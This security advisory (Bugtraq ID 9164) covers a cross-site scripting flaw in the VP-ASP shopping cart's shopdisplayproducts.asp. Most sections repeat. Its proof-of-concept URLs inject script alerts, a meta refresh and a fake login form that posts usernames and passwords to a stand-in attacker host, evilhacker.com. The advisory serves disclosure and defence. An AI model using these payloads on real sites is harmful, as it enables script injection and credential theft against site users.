Virtual Programming VP-ASP shopdisplayproducts.asp Cross-Site Scripting Vulnerability
BID:9164
Info
Virtual Programming VP-ASP shopdisplayproducts.asp Cross-Site Scripting Vulnerability
| Bugtraq ID: | 9164 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 05 2003 12:00AM |
| Updated: | Dec 05 2003 12:00AM |
| Credit: | Discovery credited to Xnuxer Research Laboratory. |
| Vulnerable: |
Virtual Programming VP-ASP 5.00 Virtual Programming VP-ASP 4.50 Virtual Programming VP-ASP 4.00 |
| Not Vulnerable: | |
Discussion
Virtual Programming VP-ASP shopdisplayproducts.asp Cross-Site Scripting Vulnerability
A vulnerability has been reported to exist in VP-ASP software that may allow a remote user to launch cross-site scripting attacks. A remote attacker may exploit this issue to potentially execute HTML or script code in the security context of the vulnerable site.
A vulnerability has been reported to exist in VP-ASP software that may allow a remote user to launch cross-site scripting attacks. A remote attacker may exploit this issue to potentially execute HTML or script code in the security context of the vulnerable site.
Exploit / POC
Virtual Programming VP-ASP shopdisplayproducts.asp Cross-Site Scripting Vulnerability
The following proofs-of-concept have been made available:
http://www.example.com/shopping/shopdisplayproducts.asp?id=1&cat=[XSS Code]
http://www.example.com/shopping/shopdisplayproducts.asp?id=1&cat=<script>alert('test')</script>
http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=<img%20src="javascript:alert('XSS')">
http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=<meta%20http-equiv='refresh'content='0'>
http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=<form%20action="http://www.evilhacker.com/save2db.asp"%20method="post">Username:<input%20name="username"%20type="text"%20maxlength="30"><br>Password:<input%20name="password"%20type="text"%20maxlength="30"><br><input%20name="login"%20type="submit"%20value="Login"></form>
The following proofs-of-concept have been made available:
http://www.example.com/shopping/shopdisplayproducts.asp?id=1&cat=[XSS Code]
http://www.example.com/shopping/shopdisplayproducts.asp?id=1&cat=<script>alert('test')</script>
http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=<img%20src="javascript:alert('XSS')">
http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=<meta%20http-equiv='refresh'content='0'>
http://www.example.com/vpasp/shopdisplayproducts.asp?id=5&cat=<form%20action="http://www.evilhacker.com/save2db.asp"%20method="post">Username:<input%20name="username"%20type="text"%20maxlength="30"><br>Password:<input%20name="password"%20type="text"%20maxlength="30"><br><input%20name="login"%20type="submit"%20value="Login"></form>
Solution / Fix
Virtual Programming VP-ASP shopdisplayproducts.asp Cross-Site Scripting Vulnerability
Solution:
The vendor has released fixes to address this issue. It is reported that the fixes are applied to VP-ASP 5.0 as of February 2004. Please contact the vendor for more information.
Solution:
The vendor has released fixes to address this issue. It is reported that the fixes are applied to VP-ASP 5.0 as of February 2004. Please contact the vendor for more information.
References
Virtual Programming VP-ASP shopdisplayproducts.asp Cross-Site Scripting Vulnerability
References:
References:
- Fix Summary (Virtual Programming)
- VP-ASP Homepage (Virtual Programming )
- Cross Site Scripting in VP-ASP (Xnuxer Research Laboratory
- VP-ASP Shopping Cart Multiple Vulnerabilities ("Thomas Ryan"